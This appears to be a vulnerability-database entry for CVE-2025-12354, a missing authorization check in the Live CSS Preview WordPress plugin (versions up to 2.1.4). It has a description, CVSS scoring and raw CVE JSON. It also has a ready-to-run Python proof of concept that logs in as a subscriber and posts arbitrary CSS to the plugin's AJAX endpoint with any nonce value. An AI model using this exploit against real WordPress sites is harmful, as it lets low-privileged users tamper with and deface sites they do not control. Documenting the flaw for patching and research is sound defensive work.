Security Vulnerability Report
中文
CVE-2025-12354 CVSS 4.3 MEDIUM

CVE-2025-12354

Published: 2025-12-05 07:16:10
Last Modified: 2026-04-15 00:35:42

Description

The Live CSS Preview plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_frontend_save' AJAX endpoint in all versions up to, and including, 2.1.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's css setting.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Live CSS Preview plugin for WordPress <= 2.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12354 PoC - Live CSS Preview权限绕过 # 适用于WordPress Live CSS Preview <= 2.1.4 import requests import sys def exploit_cve_2025_12354(target_url, username, password, malicious_css): """ Exploit for CVE-2025-12354: Live CSS Preview Plugin Authenticated IDOR Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password malicious_css: Malicious CSS content to inject """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Successfully authenticated as subscriber") # Step 2: Exploit the vulnerability via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'frontend_save', 'live_css_preview_editor': malicious_css, 'livecssnonce': 'any_value_works_here' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text: print("[+] CSS injection successful!") print(f"[+] Injected CSS: {malicious_css}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": # Example usage target = "http://target-wordpress-site.com" css = "body { background: black !important; }" exploit_cve_2025_12354(target, "attacker", "password123", css)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12354", "sourceIdentifier": "[email protected]", "published": "2025-12-05T07:16:10.413", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Live CSS Preview plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_frontend_save' AJAX endpoint in all versions up to, and including, 2.1.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's css setting."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3445161%40live-css-preview&new=3445161%40live-css-preview&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/live-css-preview/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3ebaadf6-5085-4f2d-a377-34e318351449?source=cve", "source": "[email protected]"}]}}